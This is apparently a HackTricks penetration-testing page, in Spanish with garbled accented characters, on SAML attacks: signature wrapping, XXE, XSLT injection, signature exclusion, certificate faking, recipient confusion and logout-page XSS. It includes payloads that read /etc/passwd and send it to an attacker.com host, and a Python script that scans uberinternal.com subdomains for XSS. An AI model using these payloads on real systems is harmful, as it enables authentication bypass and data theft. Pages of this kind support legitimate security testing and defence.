SAML Attacks

SAML Attacks

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

SAML Basics

Herramienta

SAMLExtractor: Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo SAML.

Ronda de XML

En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificaci贸n/decodificaci贸n y se verifica la firma. Idealmente, esa codificaci贸n/decodificaci贸n no deber铆a cambiar los datos, pero basado en ese escenario, los datos que se est谩n verificando y los datos originales podr铆an no ser los mismos.

Por ejemplo, verifica el siguiente c贸digo:

ruby
require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultar铆a en la siguiente salida en su lugar:

First child in original doc: Y
First child after round-trip: Z

As铆 es como REXML vio el documento XML original del programa anterior:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Y as铆 es como lo vio despu茅s de una ronda de an谩lisis y serializaci贸n:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Para m谩s informaci贸n sobre la vulnerabilidad y c贸mo abusar de ella:

Ataques de Envoltura de Firma XML

En ataques de Envoltura de Firma XML (XSW), los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a trav茅s de dos fases distintas: validaci贸n de firma y invocaci贸n de funci贸n. Estos ataques implican alterar la estructura del documento XML. Espec铆ficamente, el atacante inyecta elementos falsificados que no comprometen la validez de la Firma XML. Esta manipulaci贸n tiene como objetivo crear una discrepancia entre los elementos analizados por la l贸gica de la aplicaci贸n y aquellos verificados por el m贸dulo de verificaci贸n de firma. Como resultado, mientras que la Firma XML sigue siendo t茅cnicamente v谩lida y pasa la verificaci贸n, la l贸gica de la aplicaci贸n procesa los elementos fraudulentos. En consecuencia, el atacante elude efectivamente la protecci贸n de integridad y la autenticaci贸n de origen de la Firma XML, lo que permite la inyecci贸n de contenido arbitrario sin detecci贸n.

Los siguientes ataques se basan en esta publicaci贸n de blog y este documento. As铆 que revisa esos para m谩s detalles.

XSW #1

  • Estrategia: Se agrega un nuevo elemento ra铆z que contiene la firma.
  • Implicaci贸n: El validador puede confundirse entre el leg铆timo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Diferencia de XSW #1: Utiliza una firma separada en lugar de una firma envolvente.
  • Implicaci贸n: La estructura "malvada", similar a XSW #1, tiene como objetivo enga帽ar a la l贸gica empresarial despu茅s de la verificaci贸n de integridad.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Estrategia: Se crea una Assertion malvada al mismo nivel jer谩rquico que la assertion original.
  • Implicaci贸n: Tiene la intenci贸n de confundir a la l贸gica empresarial para que use los datos maliciosos.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Diferencia de XSW #3: La Assertion original se convierte en un hijo de la Assertion duplicada (malvada).
  • Implicaci贸n: Similar a XSW #3 pero altera la estructura XML de manera m谩s agresiva.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Aspecto 脷nico: Ni la Firma ni la Assertion original se adhieren a configuraciones est谩ndar (envolvente/envolvente/separada).
  • Implicaci贸n: La Assertion copiada envuelve la Firma, modificando la estructura del documento esperada.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Estrategia: Inserci贸n en una ubicaci贸n similar a XSW #4 y #5, pero con un giro.
  • Implicaci贸n: La Assertion copiada envuelve la Firma, que luego envuelve la Assertion original, creando una estructura enga帽osa anidada.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Estrategia: Se inserta un elemento Extensions con la Assertion copiada como hijo.
  • Implicaci贸n: Esto explota el esquema menos restrictivo del elemento Extensions para eludir las contramedidas de validaci贸n de esquema, especialmente en bibliotecas como OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Diferencia de XSW #7: Utiliza otro elemento XML menos restrictivo para una variante del ataque.
  • Implicaci贸n: La Assertion original se convierte en un hijo del elemento menos restrictivo, invirtiendo la estructura utilizada en XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Herramienta

Puedes usar la extensi贸n de Burp SAML Raider para analizar la solicitud, aplicar cualquier ataque XSW que elijas y lanzarlo.

XXE

Si no sabes qu茅 tipo de ataques son XXE, por favor lee la siguiente p谩gina:

XXE - XEE - XML External Entity

Las Respuestas SAML son documentos XML desinflados y codificados en base64 y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la Respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades XXE. Aqu铆 se muestra c贸mo se puede visualizar tal ataque:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Herramientas

Tambi茅n puedes usar la extensi贸n de Burp SAML Raider para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.

Consulta tambi茅n esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT a trav茅s de SAML

Para m谩s informaci贸n sobre XSLT, ve a:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que las transformaciones XSLT se realizan antes de la verificaci贸n de la firma digital. Esto significa que un ataque puede tener 茅xito incluso sin una firma v谩lida; una firma autofirmada o inv谩lida es suficiente para proceder.

Aqu铆 puedes encontrar un POC para verificar este tipo de vulnerabilidades, en la p谩gina de hacktricks mencionada al principio de esta secci贸n puedes encontrar cargas 煤tiles.

xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Herramienta

Tambi茅n puedes usar la extensi贸n de Burp SAML Raider para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XSLT.

Consulta tambi茅n esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusi贸n de Firma XML

La Exclusi贸n de Firma XML observa el comportamiento de las implementaciones SAML cuando el elemento de Firma no est谩 presente. Si este elemento falta, la validaci贸n de la firma puede no ocurrir, haci茅ndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Herramienta

Tambi茅n puedes usar la extensi贸n de Burp SAML Raider. Intercepta la Respuesta SAML y haz clic en Remove Signatures. Al hacerlo, todos los elementos de Firma son eliminados.

Con las firmas eliminadas, permite que la solicitud contin煤e hacia el objetivo. Si la Firma no es requerida por el Servicio

Falsificaci贸n de Certificado

Falsificaci贸n de Certificado

La Falsificaci贸n de Certificado es una t茅cnica para probar si un Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML est谩 firmado por un Proveedor de Identidad (IdP) de confianza. Implica usar un *certificado autofirmado para firmar la Respuesta o Afirmaci贸n SAML, lo que ayuda a evaluar el proceso de validaci贸n de confianza entre SP e IdP.

C贸mo Realizar la Falsificaci贸n de Certificado

Los siguientes pasos describen el proceso utilizando la extensi贸n de Burp SAML Raider:

  1. Intercepta la Respuesta SAML.
  2. Si la respuesta contiene una firma, env铆a el certificado a SAML Raider Certs usando el bot贸n Send Certificate to SAML Raider Certs.
  3. En la pesta帽a de Certificados de SAML Raider, selecciona el certificado importado y haz clic en Save and Self-Sign para crear un clon autofirmado del certificado original.
  4. Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado del men煤 desplegable de Firma XML.
  5. Elimina cualquier firma existente con el bot贸n Remove Signatures.
  6. Firma el mensaje o la afirmaci贸n con el nuevo certificado usando el bot贸n (Re-)Sign Message o (Re-)Sign Assertion, seg煤n corresponda.
  7. Reenv铆a el mensaje firmado. La autenticaci贸n exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validaci贸n de los mensajes SAML.

Confusi贸n de Destinatario de Token / Confusi贸n de Objetivo de Proveedor de Servicios

La Confusi贸n de Destinatario de Token y la Confusi贸n de Objetivo de Proveedor de Servicios implican verificar si el Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta. En esencia, un Proveedor de Servicios deber铆a rechazar una respuesta de autenticaci贸n si estaba destinada a un proveedor diferente. El elemento cr铆tico aqu铆 es el campo Recipient, que se encuentra dentro del elemento SubjectConfirmationData de una Respuesta SAML. Este campo especifica una URL que indica d贸nde debe enviarse la Afirmaci贸n. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Afirmaci贸n debe considerarse inv谩lida.

C贸mo Funciona

Para que un ataque de Confusi贸n de Destinatario de Token SAML (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe haber una cuenta v谩lida en un Proveedor de Servicios (denominado SP-Legit). En segundo lugar, el Proveedor de Servicios objetivo (SP-Target) debe aceptar tokens del mismo Proveedor de Identidad que sirve a SP-Legit.

El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesi贸n aut茅ntica con SP-Legit a trav茅s del Proveedor de Identidad compartido. La Respuesta SAML del Proveedor de Identidad a SP-Legit es interceptada. Esta Respuesta SAML interceptada, originalmente destinada a SP-Legit, se redirige a SP-Target. El 茅xito en este ataque se mide por la aceptaci贸n de la Afirmaci贸n por parte de SP-Target, otorgando acceso a recursos bajo el mismo nombre de cuenta utilizado para SP-Legit.

python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS en la funcionalidad de cierre de sesi贸n

La investigaci贸n original se puede acceder a trav茅s de this link.

Durante el proceso de fuerza bruta de directorios, se descubri贸 una p谩gina de cierre de sesi贸n en:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Al acceder a este enlace, se produjo una redirecci贸n a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Esto revel贸 que el par谩metro base acepta una URL. Considerando esto, surgi贸 la idea de sustituir la URL por javascript:alert(123); en un intento de iniciar un ataque XSS (Cross-Site Scripting).

Explotaci贸n Masiva

De esta investigaci贸n:

La herramienta SAMLExtractor se utiliz贸 para analizar subdominios de uberinternal.com para dominios que utilizan la misma biblioteca. Posteriormente, se desarroll贸 un script para apuntar a la p谩gina oidauth/prompt. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos donde la entrada se refleja, el script marca la p谩gina como vulnerable.

python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks